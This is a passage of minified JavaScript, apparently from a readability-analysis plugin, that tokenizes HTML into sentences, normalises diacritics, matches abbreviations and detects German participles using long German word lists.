edBy":["s"]},{"word":"regime","syllables":2,"alsoFollowedBy":["s"]},{"word":"statue","syllables":2,"alsoFollowedBy":["s"]},{"word":"store","syllables":1,"alsoFollowedBy":["s"]},{"word":"wave","syllables":1,"alsoFollowedBy":["s"]},{"word":"date","syllables":1,"notFollowedBy":["n"]},{"word":"image","syllables":2,"notFollowedBy":["s"]}]}}}}'),J={productPages:{parameters:{recommendedMinimum:3,recommendedMaximum:6,acceptableMaximum:7,acceptableMinimum:1}}},Y=window.lodash;var K=r(429),X=r.n(K);const ee=new RegExp("["+["'","‘","’","‛","`","‹","›"].join("")+"]","g");function te(e){return function(e){return e.replace(/[“”〝〞〟‟„『』«»]/g,'"')}(function(e){return e.replace(ee,"'")}(e))}const re=["address","article","aside","blockquote","canvas","dd","div","dl","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","li","main","nav","noscript","ol","output","p","pre","section","table","tfoot","ul","video"],se=["b","big","i","small","tt","abbr","acronym","cite","code","dfn","em","kbd","strong","samp","time","var","a","bdo","br","img","map","object","q","script","span","sub","sup","button","input","label","select","textarea"],ne=(new RegExp("^("+re.join("|")+")$","i"),new RegExp("^("+se.join("|")+")$","i"),new RegExp("^<("+re.join("|")+")[^>]*?>$","i")),le=new RegExp("^</("+re.join("|")+")[^>]*?>$","i"),ae=new RegExp("^<("+se.join("|")+")[^>]*>$","i"),ie=new RegExp("^</("+se.join("|")+")[^>]*>$","i"),be=/^<([^>\s/]+)[^>]*>$/,ue=/^<\/([^>\s]+)[^>]*>$/,ge=/^[^<]+$/,he=/^<[^><]*$/,oe=/<!--(.|[\r\n])*?-->/g;let ce,de=[];(0,Y.memoize)((function(e){const t=[];let r=0,s="",n="",l="";return e=e.replace(oe,""),de=[],ce=X()((function(e){de.push(e)})),ce.addRule(ge,"content"),ce.addRule(he,"greater-than-sign-content"),ce.addRule(ne,"block-start"),ce.addRule(le,"block-end"),ce.addRule(ae,"inline-start"),ce.addRule(ie,"inline-end"),ce.addRule(be,"other-element-start"),ce.addRule(ue,"other-element-end"),ce.onText(e),ce.end(),(0,Y.forEach)(de,(function(e,a){const i=de[a+1];switch(e.type){case"content":case"greater-than-sign-content":case"inline-start":case"inline-end":case"other-tag":case"other-element-start":case"other-element-end":case"greater than sign":i&&(0!==r||"block-start"!==i.type&&"block-end"!==i.type)?n+=e.src:(n+=e.src,t.push(n),s="",n="",l="");break;case"block-start":0!==r&&(""!==n.trim()&&t.push(n),n="",l=""),r++,s=e.src;break;case"block-end":r--,l=e.src,""!==s&&""!==l?t.push(s+n+l):""!==n.trim()&&t.push(n),s="",n="",l=""}r<0&&(r=0)})),t})),new RegExp("^<("+re.join("|")+")[^>]*?>","i"),new RegExp("</("+re.join("|")+")[^>]*?>$","i");const we=new RegExp("^[.]$"),me=/^<[^><]*$/,fe=/^<([^>\s/]+)[^>]*>$/im,pe=/^<\/([^>\s]+)[^>]*>$/im,ke=/^\s*[[({]\s*$/,ye=/^\s*[\])}]\s*$/,ze=function(e,t=!1,r="",s=!1){const n="("+(e=(0,Y.map)(e,(function(e){return s&&(e=function(e){const t=[{base:"a",letters:/[\u0061\u24D0\uFF41\u1E9A\u00E0\u00E1\u00E2\u1EA7\u1EA5\u1EAB\u1EA9\u00E3\u0101\u0103\u1EB1\u1EAF\u1EB5\u1EB3\u0227\u01E1\u00E4\u01DF\u1EA3\u00E5\u01FB\u01CE\u0201\u0203\u1EA1\u1EAD\u1EB7\u1E01\u0105\u2C65\u0250]/g},{base:"aa",letters:/[\uA733]/g},{base:"ae",letters:/[\u00E6\u01FD\u01E3]/g},{base:"ao",letters:/[\uA735]/g},{base:"au",letters:/[\uA737]/g},{base:"av",letters:/[\uA739\uA73B]/g},{base:"ay",letters:/[\uA73D]/g},{base:"b",letters:/[\u0062\u24D1\uFF42\u1E03\u1E05\u1E07\u0180\u0183\u0253]/g},{base:"c",letters:/[\u0063\u24D2\uFF43\u0107\u0109\u010B\u010D\u00E7\u1E09\u0188\u023C\uA73F\u2184]/g},{base:"d",letters:/[\u0064\u24D3\uFF44\u1E0B\u010F\u1E0D\u1E11\u1E13\u1E0F\u0111\u018C\u0256\u0257\uA77A]/g},{base:"dz",letters:/[\u01F3\u01C6]/g},{base:"e",letters:/[\u0065\u24D4\uFF45\u00E8\u00E9\u00EA\u1EC1\u1EBF\u1EC5\u1EC3\u1EBD\u0113\u1E15\u1E17\u0115\u0117\u00EB\u1EBB\u011B\u0205\u0207\u1EB9\u1EC7\u0229\u1E1D\u0119\u1E19\u1E1B\u0247\u025B\u01DD]/g},{base:"f",letters:/[\u0066\u24D5\uFF46\u1E1F\u0192\uA77C]/g},{base:"g",letters:/[\u0067\u24D6\uFF47\u01F5\u011D\u1E21\u011F\u0121\u01E7\u0123\u01E5\u0260\uA7A1\u1D79\uA77F]/g},{base:"h",letters:/[\u0068\u24D7\uFF48\u0125\u1E23\u1E27\u021F\u1E25\u1E29\u1E2B\u1E96\u0127\u2C68\u2C76\u0265]/g},{base:"hv",letters:/[\u0195]/g},{base:"i",letters:/[\u0069\u24D8\uFF49\u00EC\u00ED\u00EE\u0129\u012B\u012D\u00EF\u1E2F\u1EC9\u01D0\u0209\u020B\u1ECB\u012F\u1E2D\u0268\u0131]/g},{base:"j",letters:/[\u006A\u24D9\uFF4A\u0135\u01F0\u0249]/g},{base:"k",letters:/[\u006B\u24DA\uFF4B\u1E31\u01E9\u1E33\u0137\u1E35\u0199\u2C6A\uA741\uA743\uA745\uA7A3]/g},{base:"l",letters:/[\u006C\u24DB\uFF4C\u0140\u013A\u013E\u1E37\u1E39\u013C\u1E3D\u1E3B\u017F\u0142\u019A\u026B\u2C61\uA749\uA781\uA747]/g},{base:"lj",letters:/[\u01C9]/g},{base:"m",letters:/[\u006D\u24DC\uFF4D\u1E3F\u1E41\u1E43\u0271\u026F]/g},{base:"n",letters:/[\u006E\u24DD\uFF4E\u01F9\u0144\u00F1\u1E45\u0148\u1E47\u0146\u1E4B\u1E49\u019E\u0272\u0149\uA791\uA7A5]/g},{base:"nj",letters:/[\u01CC]/g},{base:"o",letters:/[\u006F\u24DE\uFF4F\u00F2\u00F3\u00F4\u1ED3\u1ED1\u1ED7\u1ED5\u00F5\u1E4D\u022D\u1E4F\u014D\u1E51\u1E53\u014F\u022F\u0231\u00F6\u022B\u1ECF\u0151\u01D2\u020D\u020F\u01A1\u1EDD\u1EDB\u1EE1\u1EDF\u1EE3\u1ECD\u1ED9\u01EB\u01ED\u00F8\u01FF\u0254\uA74B\uA74D\u0275]/g},{base:"oi",letters:/[\u01A3]/g},{base:"ou",letters:/[\u0223]/g},{base:"oo",letters:/[\uA74F]/g},{base:"p",letters:/[\u0070\u24DF\uFF50\u1E55\u1E57\u01A5\u1D7D\uA751\uA753\uA755]/g},{base:"q",letters:/[\u0071\u24E0\uFF51\u024B\uA757\uA759]/g},{base:"r",letters:/[\u0072\u24E1\uFF52\u0155\u1E59\u0159\u0211\u0213\u1E5B\u1E5D\u0157\u1E5F\u024D\u027D\uA75B\uA7A7\uA783]/g},{base:"s",letters:/[\u0073\u24E2\uFF53\u00DF\u015B\u1E65\u015D\u1E61\u0161\u1E67\u1E63\u1E69\u0219\u015F\u023F\uA7A9\uA785\u1E9B]/g},{base:"t",letters:/[\u0074\u24E3\uFF54\u1E6B\u1E97\u0165\u1E6D\u021B\u0163\u1E71\u1E6F\u0167\u01AD\u0288\u2C66\uA787]/g},{base:"tz",letters:/[\uA729]/g},{base:"u",letters:/[\u0075\u24E4\uFF55\u00F9\u00FA\u00FB\u0169\u1E79\u016B\u1E7B\u016D\u00FC\u01DC\u01D8\u01D6\u01DA\u1EE7\u016F\u0171\u01D4\u0215\u0217\u01B0\u1EEB\u1EE9\u1EEF\u1EED\u1EF1\u1EE5\u1E73\u0173\u1E77\u1E75\u0289]/g},{base:"v",letters:/[\u0076\u24E5\uFF56\u1E7D\u1E7F\u028B\uA75F\u028C]/g},{base:"vy",letters:/[\uA761]/g},{base:"w",letters:/[\u0077\u24E6\uFF57\u1E81\u1E83\u0175\u1E87\u1E85\u1E98\u1E89\u2C73]/g},{base:"x",letters:/[\u0078\u24E7\uFF58\u1E8B\u1E8D]/g},{base:"y",letters:/[\u0079\u24E8\uFF59\u1EF3\u00FD\u0177\u1EF9\u0233\u1E8F\u00FF\u1EF7\u1E99\u1EF5\u01B4\u024F\u1EFF]/g},{base:"z",letters:/[\u007A\u24E9\uFF5A\u017A\u1E91\u017C\u017E\u1E93\u1E95\u01B6\u0225\u0240\u2C6C\uA763]/g}];for(let r=0;r<t.length;r++)e=e.replace(t[r].letters,t[r].base);return e}(e)),e=function(e){return function(e){return(e=(e=(e=(e=e.replace(/\s{2,}/g," ")).replace(/\s\.$/,".")).replace(/^\s+|\s+$/g,"")).replace(/\s。/g,"。")).replace(/。\s/g,"。")}(e=e.replace(/(<([^>]+)>)/gi," "))}(function(e){return function(e){return e.replace(/\s/g," ")}(e=function(e){return e.replace(/\u2014/g," ")}(e=function(e){return e.replace(/&nbsp;/g," ")}(e)))}(e)),t?e:function(e,t=!1,r="",s=""){let n,l;return n="id"===s?'[ \\u00a0\\n\\r\\t.,()”“〝〞〟‟„"+;!¡?¿:/»«‹›'+r+"<>":'[ \\u00a0\\u2014\\u06d4\\u061f\\u060C\\u061B\\n\\r\\t.,()”“〝〞〟‟„"+\\-;!¡?¿:/»«‹›'+r+"<>",l=t?"($|((?="+n+"]))|((['‘’‛`])("+n+"])))":"($|("+n+"])|((['‘’‛`])("+n+"])))","(^|"+n+"'‘’‛`])"+e+l}(e,!0,r)}))).join(")|(")+")";return new RegExp(n,"ig")}(["A.D.","Adm.","Adv.","B.C.","Br.","Brig.","Cmrd.","Col.","Cpl.","Cpt.","Dr.","Esq.","Fr.","Gen.","Gov.","Hon.","Jr.","Lieut.","Lt.","Maj.","Mr.","Mrs.","Ms.","Msgr.","Mx.","No.","Pfc.","Pr.","Prof.","Pvt.","Rep.","Reps.","Rev.","Rt. Hon.","Sen.","Sens.","Sgt.","Sps.","Sr.","St.","vs.","i.e.","e.g.","viz.","Mt."].map((e=>e.replace(".","\\.")))),ve="(^|$|["+[" ","\\n","\\r","\\t"," ","۔","؟","،","؛"," ",".",",","'","(",")",'"',"+","-",";","!","?",":","/","»","«","‹","›","<",">","”","“","〝","〞","〟","‟","„"].map((e=>"\\"+e)).join("")+"])",Ee=new RegExp(ve+"[A-Za-z]$"),Fe=/<\/?([^\s]+?)(\s|>)/,Be=["p","div","h1","h2","h3","h4","h5","h6","span","li","main"];class je{constructor(){this.sentenceDelimiters='”〞〟„』›»’‛`"?!…۔؟'}getSentenceDelimiters(){return this.sentenceDelimiters}isNumber(e){return!(0,Y.isNaN)(parseInt(e,10))}isBreakTag(e){return/<\/?br/.test(e)}isQuotation(e){return"'"===(e=te(e))||'"'===e}endsWithOrdinalDot(){return!1}isPunctuation(e){return"¿"===e||"¡"===e}removeDuplicateWhitespace(e){return e.replace(/\s+/," ")}isCapitalLetter(e){return e!==e.toLocaleLowerCase()}isSmallerThanSign(e){return"<"===e}getNextTwoCharacters(e){let t="";return(0,Y.isUndefined)(e[0])||(t+=e[0].src),(0,Y.isUndefined)(e[1])||(t+=e[1].src),t=this.removeDuplicateWhitespace(t),t}isLetterFromSpecificLanguage(e){return[/^[\u0590-\u05fe]+$/i,/^[\u0600-\u06FF]+$/i,/^[\uFB8A\u067E\u0686\u06AF]+$/i].some((t=>t.test(e)))}isValidSentenceBeginning(e){return this.isCapitalLetter(e)||this.isLetterFromSpecificLanguage(e)||this.isNumber(e)||this.isQuotation(e)||this.isPunctuation(e)||this.isSmallerThanSign(e)}isSentenceStart(e){return!(0,Y.isUndefined)(e)&&("html-start"===e.type||"html-end"===e.type||"block-start"===e.type)}isSentenceEnding(e){return!(0,Y.isUndefined)(e)&&("full-stop"===e.type||"sentence-delimiter"===e.type)}isPartOfPersonInitial(e,t,r,s){return!(0,Y.isUndefined)(e)&&!(0,Y.isUndefined)(r)&&!(0,Y.isUndefined)(s)&&!(0,Y.isUndefined)(t)&&"full-stop"===e.type&&"sentence"===t.type&&Ee.test(t.src)&&"sentence"===r.type&&1===r.src.trim().length&&"full-stop"===s.type}tokenizeSmallerThanContent(e,t,r){const s=e.src.substring(1),n=this.createTokenizer();this.tokenize(n.tokenizer,s);const l=this.getSentencesFromTokens(n.tokens,!1);if(l[0]=(0,Y.isUndefined)(l[0])?"<":"<"+l[0],this.isValidSentenceBeginning(l[0])&&(t.push(r),r=""),r+=l[0],l.length>1){t.push(r),r="",l.shift();const e=l.pop();l.forEach((e=>{t.push(e)}));const s=new RegExp("[."+this.getSentenceDelimiters()+"]$");e.match(s)?t.push(e):r=e}return{tokenSentences:t,currentSentence:r}}createTokenizer(){const e=new RegExp("^["+this.getSentenceDelimiters()+"]$"),t=new RegExp("^[^."+this.getSentenceDelimiters()+"<\\(\\)\\[\\]]+$"),r=[],s=X()((function(e){r.push(e)}));return s.addRule(we,"full-stop"),s.addRule(me,"smaller-than-sign-content"),s.addRule(fe,"html-start"),s.addRule(pe,"html-end"),s.addRule(ke,"block-start"),s.addRule(ye,"block-end"),s.addRule(e,"sentence-delimiter"),s.addRule(t,"sentence"),{tokenizer:s,tokens:r}}tokenize(e,t){e.onText(t);try{e.end()}catch(e){console.error("Tokenizer end error:",e,e.tokenizer2)}}endsWithAbbreviation(e){const t=e.match(ze);if(!t)return!1;const r=t.pop();return e.endsWith(r)}isValidTagPair(e,t){const r=e.src,s=t.src,n=r.match(Fe)[1];return n===s.match(Fe)[1]&&Be.includes(n)}getSentencesFromTokens(e,t=!0){let r,s,n=[],l="";do{s=!1;const t=e[0],r=e[e.length-1];t&&r&&"html-start"===t.type&&"html-end"===r.type&&this.isValidTagPair(t,r)&&(e=e.slice(1,e.length-1),s=!0)}while(s&&e.length>1);return e.forEach(((t,s)=>{let a,i,b;const u=e[s+1],g=e[s-1],h=e[s+2];switch(i=this.getNextTwoCharacters([u,h]),a=i.length>=2,r=a?i[1]:"",t.type){case"html-start":case"html-end":this.isBreakTag(t.src)?(n.push(l),l=""):l+=t.src;break;case"smaller-than-sign-content":b=this.tokenizeSmallerThanContent(t,n,l),n=b.tokenSentences,l=b.currentSentence;break;case"sentence":case"block-start":l+=t.src;break;case"sentence-delimiter":if(l+=t.src,!(0,Y.isUndefined)(u)&&"block-end"!==u.type&&"sentence-delimiter"!==u.type&&this.isCharacterASpace(u.src[0])){if(this.isQuotation(t.src)&&g&&"."!==g.src)break;this.isQuotation(t.src)||"…"===t.src?l=this.getValidSentence(a,r,i,u,n,l):(n.push(l),l="")}break;case"full-stop":if(l+=t.src,i=this.getNextTwoCharacters([u,h]),a=i.length>=2,r=a?i[1]:"",this.endsWithAbbreviation(l))break;if(a&&this.isNumber(i[0]))break;if(this.isPartOfPersonInitial(t,g,u,h))break;if(this.endsWithOrdinalDot(l))break;l=this.getValidSentence(a,r,i,u,n,l);break;case"block-end":if(l+=t.src,i=this.getNextTwoCharacters([u,h]),a=i.length>=2,r=a?i[0]:"",a&&this.isNumber(i[0])||this.isSentenceEnding(g)&&!this.isValidSentenceBeginning(r)&&!this.isSentenceStart(u))break;this.isSentenceEnding(g)&&(this.isSentenceStart(u)||this.isValidSentenceBeginning(r))&&(n.push(l),l="")}})),""!==l&&n.push(l),t&&(n=(0,Y.map)(n,(function(e){return e.trim()}))),n}getValidSentence(e,t,r,s,n,l){return(e&&this.isValidSentenceBeginning(t)&&this.isCharacterASpace(r[0])||this.isSentenceStart(s))&&(n.push(l),l=""),l}isCharacterASpace(e){return/\s/.test(e)}}const xe="(^|["+[" ","\\n","\\r","\\t"," ","۔","؟","،","؛"," ",".",",","'","(",")",'"',"+","-",";","!","?",":","/","»","«","‹","›","<",">","”","“","〝","〞","〟","‟","„"].map((e=>"\\"+e)).join("")+"])",Ae=new RegExp(xe+"\\d{1,3}\\.$");class De extends je{constructor(){super()}endsWithOrdinalDot(e){return Ae.test(e.trim())}}const Se=(0,Y.memoize)((function(e,t=!0){const r=new De,{tokenizer:s,tokens:n}=r.createTokenizer();return r.tokenize(s,e),0===n.length?[]:r.getSentencesFromTokens(n,t)}),((...e)=>JSON.stringify(e))),$e=/^((ge)\S+t($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>]))/gi,Ce=/^(((be|ent|er|her|ver|zer|über|ueber)\S+([^s]t|sst))($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>]))/gi,Re=/(ab|an|auf|aus|vor|wieder|zurück)(ge)\S+t($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi,qe=/((ab|an|auf|aus|vor|wieder|zurück)(be|ent|er|her|ver|zer|über|ueber)\S+([^s]t|sst))($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi,We=/\S+iert($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi,Te=function(e){return e.match($e)||[]},Pe=function(e){return e.match(Ce)||[]},Me=function(e){return e.match(Re)||[]},Oe=function(e){return e.match(qe)||[]},Ue=function(e){return e.match(We)||[]};function Ie(){return{verbsBeginningWithGe:Te,verbsBeginningWithErVerEntBeZerHerUber:Pe,verbsWithGeInMiddle:Me,verbsWithErVerEntBeZerHerUberInMiddle:Oe,verbsEndingWithIert:Ue}}const Ne=["angefangen","aufgerissen","ausgesehen","befohlen","befunden","begonnen","bekommen","bewiesen","beworben","empfohlen","empfunden","entschieden","erschrocken","erwogen","gebacken","gebeten","gebissen","geblasen","geblieben","gebogen","geboren","geborgen","geboten","gebraten","gebrochen","gebunden","gediehen","gedroschen","gedrungen","gefahren","gefallen","gefangen","geflogen","geflohen","geflossen","gefressen","gefroren","gefunden","gegangen","gegeben","gegessen","geglichen","geglitten","gelungen","gegolten","gegoren","gegossen","gegraben","gegriffen","gehalten","gehangen","gehauen","geheissen","geheißen","gehoben","geholfen","geklungen","gekniffen","gekommen","gekrochen","geladen","gelassen","gelaufen","gelegen","gelesen","geliehen","gelitten","gelogen","gelungen","gemessen","gemieden","genesen","genommen","genossen","gepfiffen","gepriesen","gequollen","geraten","gerieben","gerissen","geritten","gerochen","geronnen","gerufen","gerungen","geschaffen","geschehen","geschieden","geschienen","geschlafen","geschlagen","geschlichen","geschliffen","geschlossen","geschlungen","geschmissen","geschmolzen","geschnitten","geschoben","gescholten","geschoren","geschossen","geschrieben","geschrien","geschritten","geschunden","geschwiegen","geschwollen","geschwommen","geschworen","geschwunden","geschwungen","gesehen","gesessen","gesoffen","gesonnen","gespien","gesponnen","gesprochen","gesprossen","gesprungen","gestanden","gestiegen","gestochen","gestohlen","gestorben","gestoßen","gestossen","gestrichen","gestritten","gesungen","gesunken","getan","getragen","getreten","getrieben","getroffen","getrogen","getrunken","gewachsen","gewaschen","gewichen","gewiesen","gewoben","gewogen","gewonnen","geworben","geworfen","gewrungen","gezogen","gezwungen","misslungen","überbacken","ueberbacken","überbehalten","ueberbehalten","überbekommen","ueberbekommen","überbelegen","ueberbelegen","überbezahlen","ueberbezahlen","überboten","ueberboten","übergebunden","uebergebunden","überbunden","ueberbunden","überblasen","ueberblasen","überbraten","ueberbraten","übergebraten","uebergebraten","überbremst","ueberbremst","übergeblieben","uebergeblieben","übereinandergelegen","uebereinandergelegen","übereinandergeschlagen","uebereinandergeschlagen","übereinandergesessen","uebereinandergesessen","übereinandergestanden","uebereinandergestanden","übereingefallen","uebereingefallen","übereingekommen","uebereingekommen","übereingetroffen","uebereingetroffen","übergefallen","uebergefallen","übergessen","uebergessen","überfahren","ueberfahren","übergefahren","uebergefahren","überfallen","ueberfallen","überfangen","ueberfangen","überflogen","ueberflogen","überflossen","ueberflossen","übergeflossen","uebergeflossen","überfressen","ueberfressen","überfroren","ueberfroren","übergegeben","uebergegeben","übergeben","uebergeben","übergegangen","uebergegangen","übergangen","uebergangen","übergangen","uebergangen","übergossen","uebergossen","übergriffen","uebergriffen","übergegriffen","uebergegriffen","übergehalten","uebergehalten","überhandgenommen","ueberhandgenommen","überhangen","ueberhangen","übergehangen","uebergehangen","übergehoben","uebergehoben","überhoben","ueberhoben","überkommen","ueberkommen","übergekommen","uebergekommen","überladen","ueberladen","übergeladen","uebergeladen","überlassen","ueberlassen","übergelassen","uebergelassen","überlaufen","ueberlaufen","übergelaufen","uebergelaufen","überlesen","ueberlesen","übergelegen","uebergelegen","übergenommen","uebergenommen","übernommen","uebernommen","übergequollen","uebergequollen","überrissen","ueberrissen","überritten","ueberritten","übergeschossen","uebergeschossen","überschlafen","ueberschlafen","überschlagen","ueberschlagen","übergeschlagen","uebergeschlagen","übergeschlossen","uebergeschlossen","überschnitten","ueberschnitten","überschrieben","ueberschrieben","überschrieen","ueberschrieen","überschrien","ueberschrien","überschritten","ueberschritten","überschwungen","ueberschwungen","übergesehen","uebergesehen","übersehen","uebersehen","übergesotten","uebergesotten","übergesotten","uebergesotten","übersponnen","uebersponnen","übersprochen","uebersprochen","übersprungen","uebersprungen","übergesprungen","uebergesprungen","überstochen","ueberstochen","übergestochen","uebergestochen","überstanden","ueberstanden","übergestanden","uebergestanden","überstiegen","ueberstiegen","übergestiegen","uebergestiegen","übergestrichen","uebergestrichen","überstrichen","ueberstrichen","übertragen","uebertragen","übertroffen","uebertroffen","übertrieben","uebertrieben","übertreten","uebertreten","übergetreten","uebergetreten","überwachsen","ueberwachsen","überwiesen","ueberwiesen","überworfen","ueberworfen","übergeworfen","uebergeworfen","überwogen","ueberwogen","überwunden","ueberwunden","überzogen","ueberzogen","übergezogen","uebergezogen","verdorben","vergessen","verglichen","verloren","verstanden","verschwunden","vorgeschlagen"],{getWords:Ve}=e.languageProcessing,Le=Ie(),_e=Le.verbsBeginningWithErVerEntBeZerHerUber,He=Le.verbsBeginningWithGe,Ge=Le.verbsWithGeInMiddle,Ze=Le.verbsWithErVerEntBeZerHerUberInMiddle,Qe=Le.verbsEndingWithIert,Je=["geht","gämsbart","gemsbart","geäst","gebarungsbericht","geähnelt","geartet","gebäudetrakt","gebet","gebiet","gebietsrepräsentant","gebildbrot","gebirgsart","gebirgsgrat","gebirgskurort","gebirgsluft","gebirgsschlucht","geblüt","geblütsrecht","gebohntkraut","gebot","gebrauchsgut","gebrauchstext","gebrauchsverlust","gebrauchtgerät","gebrauchtwagengeschäft","gebrauchtwagenmarkt","geburt","geburtsakt","geburtsgeschwulst","geburtsgewicht","geburtsort","geburtsrecht","geburtsstadt","geburtstagsfest","geckenart","gedächtniskonzert","gedächtniskunst","gedächtnisverlust","gedankenarmut","gedankenexperiment","gedankenflucht","gedankengut","gedankenschritt","gedankenwelt","gedenkkonzert","gedicht","geest","gefahrengebiet","gefahrenmoment","gefahrenpunkt","gefahrgut","gefahrguttransport","gefährt","gefälligkeitsakzept","gefallsucht","gefangenenanstalt","gefangenentransport","gefängnisarzt","gefängniskluft","gefäßnaht","gefecht","gefechtsabschnitt","gefechtsbereit","gefechtsgebiet","gefechtsgewicht","gefechtshut","gefechtsmast","gefechtsmast","geflecht","geflügelaufzucht","geflügelleberwurst","geflügelmarkt","geflügelmast","geflügelpest","geflügelsalat","geflügelwurst","geflügelzucht","gefolgsleute","gefrett","gefriergerät","gefriergut","gefrierobst","gefrierpunkt","gefrierschnitt","gefühlsarmut","gefühlswelt","gegenangebot","gegenansicht","gegenargument","gegengeschäft","gegengewalt","gegengewicht","gegenkandidat","gegenkompliment","gegenkonzept","gegenlicht","gegenmacht","gegenpapst","gegenpart","gegensatzwort","gegenstandpunkt","gegenstandsgebiet","gegenwart","gegenwartskunst","gegenwelt","gegenwort","gehaart","gehandicapt","gehandikapt","geheimagent","geheimbericht","geheimdokument","geheimfavorit","geheimkontakt","geheimkult","geheimnisverrat","geheimpolizist","geheimrat","geheimrezept","geheimtext","gehirnakrobat","gehirngeschwulst","gehirnhaut","gehirnsandgeschwulst","gehirntot","gehirntrust","gehöft","gehörlosensport","geigenkonzert","geißbart","geißblatt","geißhirte","geißhirt","geist","geisterfahrt","geisterstadt","geisterwelt","geistesarmut","geistesart","geistesfürst","geistesgegenwart","geistesgestört","geistesprodukt","geistestat","geistesverwandt","geisteswelt","geklüft","geländefahrt","geländeritt","geländesport","gelangweilt","gelaut","geläut","gelblicht","gelbrost","gelbsucht","gelbwurst","gelcoat","geldausgabeautomat","geldautomat","geldgeschäft","geldheirat","geldinstitut","geldmarkt","geldsurrogat","geldtransport","geldverlust","gelehrtenstreit","gelehrtenwelt","geleit","geleitboot","geleitwort","gelenkgicht","gelenkwassersucht","geleucht","geltungssucht","gelüst","gemächt","gemeindeamt","gemeindebürgerrecht","gemeindegut","gemeindekirchenrat","gemeindepräsident","gemeinderat","gemeingeist","gemeingut","gemeinschaftsgeist","gemeinschaftsprojekt","gemeinschaftsunterkunft","gemengesaat","gemüseart","gemüsebeet","gemüsegeschäft","gemüsemarkt","gemüsesaft","gemüsesalat","gemüsezucht","gemüt","gemütsarmut","gemütsart","gemütsathlet","gemütskalt","genausogut","genausooft","genausoweit","gendefekt","generalagent","generalarzt","generalat","generalbassinstrument","generalbaßinstrument","generalbundesanwalt","generalgouvernement","generalintendant","generalist","generalkonsulat","generalleutnant","generaloberst","generalresident","generalsekretariat","generalstaaten","generalstaatsanwalt","generalsuperintendent","generalüberholt","generalvikariat","generalvollmacht","generationenkonflikt","generativist","genist","genitivattribut","genitivobjekt","genmanipuliert","gennesaret","genotzüchtigt","gent","genuasamt","genussgift","genußgift","genusssucht","genuss-sucht","genußsucht","genverändert","geobiont","geodät","geografieunterricht","geographieunterricht","geokrat","geophyt","gepäckfracht","geradeausfahrt","geradesogut","gefälligst","gerant","gerät","gerätewart","geräuschlaut","gerbextrakt","gericht","gerichtsarzt","gerichtsort","gerichtspräsident","germanisiert","germanist","germanistikstudent","gerodelt","geröllschicht","geröllschutt","geront","gerontokrat","gerstenbrot","gerstensaft","gerstenschrot","gerücht","gerüst","gesamtansicht","gesamtaspekt","gesamtdurchschnitt","gesamtgewicht","gesamtgut","gesamt","gesamtklassement","gesamtunterricht","gesandtschaftsrat","gesangskunst","gesangspart","gesangssolist","gesangsunterricht","gesangunterricht","geschäft","geschäftsaufsicht","geschäftsbericht","geschäftsgeist","geschäftswelt","geschenkpaket","geschichtsunterricht","geschicklichkeitstest","geschicklichkeitstest","geschlecht","geschlechtsakt","geschlechtslust","geschlechtsprodukt","geschlechtswort","geschmackstest","geschwindigkeitslimit","geschworenengericht","geschwulst","gesellschaftsfahrt","gesellschaftsschicht","gesetzblatt","gesetzespaket","gesetzestext","gesicht","gesichtshaut","gesichtspunkt","gesichtsschnitt","gesichtsverlust","gespenst","gespensterfurcht","gespinst","gespött","gesprächstherapeut","gestalt","gestaltungselement","gesteinsart","gesteinschutt","gesteinsschicht","gestüt","gestüthengst","verantwortungsbewusst","verantwortungsbewußt","getast","getränkeabholmarkt","getränkeautomat","getränkemarkt","getreideart","getreideaussaat","getreideexport","getreideimport","getreideprodukt","getreideschnitt","getreidevorrat","gewährfrist","gewalt","gewaltakt","gewaltbereit","gewalttat","gesprächsbereit","gewaltverbot","gewaltverzicht","gewässerbett","gewässerwart","gewebeschicht","gewebsrest","gewicht","gewichtsprozent","gewichtsverlust","gewerbeamt","gewerbearzt","gewerbeaufsicht","gewerbeaufsichtsamt","gewerbegebiet","gewerberecht","gewerbsunzucht","gewerkschaft","gewerkschaftsjournalist","gewindestift","gewinnsucht","gewinst","gewissensangst","gewissenskonflikt","gewitterfront","gewitterluft","gewohnheitsrecht","gewürzextrakt","gewürzkraut","gezücht","erbbaurecht","erbfolgerecht","erbfolgestreit","erbgut","erbhofrecht","erblast","erbpacht","erbrecht","erbschaftsstreit","erbsenkraut","erbbedingt","erbberechtigt","erblasst","erblaßt","erbswurst","erbverzicht","erbwort","erbzinsgut","erdbebengebiet","erdbeerjogurt","erdbeerjoghurt","erdbeeryoghurt","erdbeerkompott","erdbeerrot","erdbeersaft","erdbeersekt","erdengut","erdenlust","erdfrucht","erdgeist","erdkundeunterricht","erdlicht","erdmittelpunkt","erdnussfett","erdölprodukt","erdölproduzent","erdsatellit","erdschicht","erdsicht","erdtrabant","erdverhaftet","eremit","erfahrungsbericht","erfahrungshorizont","erfahrungswelt","erfindergeist","erfolgsaussicht","erfolgsorientiert","erfolgsrezept","erfolgsverwöhnt","erfüllungsort","erfurt","ergänzungsheft","ergänzungssport","ergänzungstest","ergostat","ergotherapeut","erholungsgebiet","erholungsort","erkundungsfahrt","erlaucht","erläuterungstext","erlebnisbericht","erlebnisorientiert","erlebniswelt","ernährungsamt","ernst","ernstgemeint","ernteaussicht","erntedankfest","erntefest","erntemonat","ernteresultat","eroberungsabsicht","eroberungsgeist","eroberungslust","eroberungssucht","eröffnungskonzert","ersatzgeschwächt","ersatzgut","ersatzkandidat","ersatzobjekt","ersatzpräparat","ersatzreservist","ersatztorwart","erscheinungsfest","erscheinungsort","erscheinungswelt","erschließungsgebiet","erst","erstbundesligist","erstfahrt","erstgebot","erstgeburt","erstgeburtsrecht","erstklassbillett","erstklaßbillett","erstkommunikant","erstkonsument","erstligist","erstplatziert","erstplaciert","erstplaziert","erstrecht","ertragsaussicht","erwartungsangst","erwartungshorizont","erwerbseinkünfte","erythrit","erythroblast","erythrozyt","erzählertalent","erzählgut","erzählkunst","erzähltalent","erzamt","erzdemokrat","erzeugungsschlacht","erzfaschist","erziehungsanstalt","erziehungsberechtigt","erziehungsinstitut","erzkommunist","erzprotestant","veranlassungswort","veranschaulicht","veranschlagt","verantwortungsbewusst","verantwortungsbewußt","veräußerungsverbot","verbalist","verbalkontrakt","verbändestaat","verbannungsort","verbildlicht","verbindungspunkt","verbindungsstudent","verbraucherkredit","verbrauchermarkt","verbrauchsgut","verbrechernest","verbrechersyndikat","verbrecherwelt","verbreitungsge